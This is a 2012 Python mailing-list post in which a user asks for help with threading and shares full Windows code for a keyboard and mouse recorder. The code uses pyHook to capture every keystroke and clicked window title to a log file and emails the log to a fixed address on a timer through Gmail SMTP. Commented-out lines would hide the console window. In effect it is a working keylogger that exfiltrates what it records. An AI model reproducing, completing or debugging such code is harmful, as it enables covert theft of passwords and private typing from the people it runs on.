pyHook and time libraries
doronmmm at gmail.com
doronmmm at gmail.com
Sat Dec 1 08:38:39 EST 2012
בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit:
> Doron wrote:
>
> >
>
> > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
>
> > predetermined period.
>
> >
>
> > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
>
> > simultaneously.
>
> >
>
> > Can someone help me with this please?
>
> > I thought about threading but again... It just sends blank mails without the logs.
>
> >
>
> > Thanks alot ahead!
>
>
>
> I am not sure how to even begin helping you. I do not even know
>
> what is wrong other than "can't make both of them work simultaneously".
>
> What version of Python and OS? Are you using any 3rd party modules?
>
> What is the code you use? What happens and what do you expect? How
>
> are you getting the logs for email? Are they being passed in or are
>
> you using a log file?
>
>
>
>
>
> ~Ramit
>
>
>
>
>
>
>
> This email is confidential and subject to important disclaimers and
>
> conditions including on offers for the purchase or sale of
>
> securities, accuracy and completeness of information, viruses,
>
> confidentiality, legal privilege, and legal entity disclaimers,
>
> available at http://www.jpmorgan.com/pages/disclosures/email.
This is the code:
=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading
#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
#openfile = open(logpath,"r+")
l = threading.Lock()
def sendEmail():
print("ready to send email")
fromaddr = 'email at gmail.com'
toaddrs = 'email at gmail.com'
msg = open('log.txt',"r").read()
username = 'something'
password = 'something'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")
def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt
while tt<nn:
print(tt,nn)
if tt>=nn-0.5:
#l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()
def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True
def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName == None :
log = "-\n"
openfile.write(log)
return True
thread.start_new_thread(sendEmailAuto, (10,openfile))
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()
pythoncom.PumpMessages()
========================================
i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.
More information about the Python-list
mailing list